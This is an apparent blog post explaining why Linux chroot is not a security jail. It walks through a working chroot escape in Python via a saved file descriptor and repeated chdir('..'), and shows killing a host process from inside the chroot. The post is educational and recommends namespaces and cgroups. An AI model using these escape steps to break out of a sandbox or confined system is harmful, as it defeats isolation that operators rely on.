chroot safety
Tags: docker, bash, linux
Published: 2022-07-31 16:16:20

[As seen before](https://dev.to/tallesl/running-a-command-with-a-different-root-folder-linux-14jd), `chroot` isolates the 'outer' filesystem from a new process started with the command.

It's handy, but not safe. With some creativity the process can break its 'chroot jail'.

## Breaking it through a file descriptor

There is a simple example [from this kernel mailing list message](https://lkml.org/lkml/2007/9/25/260) of breaking it through a file descriptor:

> chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.

Let's try it out:

```
$ sudo debootstrap bionic customdebroot
...

$ sudo chroot customdebroot/ bash

# python3

>>> import os
>>> fd = os.open('/', os.O_RDONLY)
>>> os.mkdir('foo')
>>> os.chroot('foo')
>>> os.fchdir(fd)
>>>     
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chroot('.')
>>> os.mkdir('works')
>>> exit()

# exit

$ ls -1 /
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
works
```

The `works` directory was created on the root of the actual filesystem of the machine, and this was made from a process started with `chroot`.

## Why that happens?

[From Wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations):

> The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.

[From Linus Torvalds](https://lkml.org/lkml/2005/11/16/187):

> \> So all chroot(2) really does is reset the "/" reference?
> 
> Yes. Literally. Everything else stays the same, including any open files (and cwd).
> 
> It's a "flaw" in chroot if you consider it a jail, but it's used for so much more than that.
> 
> (...)
> 
> Note that the most common use of chroot isn't actually the "jail" kind of usage, but building and installation environments (ie a lot of package building stuff end up using chroot as a way to create the "target environment").

## More escaping options

Balazs Bucsay catalogue different approaches of escaping chroot on this GitHub repository: https://github.com/earthquake/chw00t

It's worth checking his talk on YouTube as well: {% youtube UO618TeyCWo %}

## Protecting other resources

Note that `chroot` not only doesn't properly isolate the filesystem (as demonstrated above), but it also doesn't bother with protecting other resources such as mount points and other processes.

As an example, below you can see`mousepad` (text editor) being started from outside `chroot` and been successfully killed from inside of it:

```
$ mousepad &
[1] 41196

$ sudo chroot customdebroot/ bash

# ps aux           
Error, do this: mount -t proc proc /proc

# mount -t proc proc /proc
# ps aux|grep mousepad
1000       41196  0.5  1.1 472356 44728 ?        Sl   15:37   0:00 mousepad
root       41232  0.0  0.0  11460   964 ?        S+   15:38   0:00 grep --color=auto mousepad

# sudo kill 41196
```

For hiding other process check [namespaces](https://en.wikipedia.org/wiki/Linux_namespaces) and for limiting resource usage check [control groups (cgroups)](https://en.wikipedia.org/wiki/Cgroups).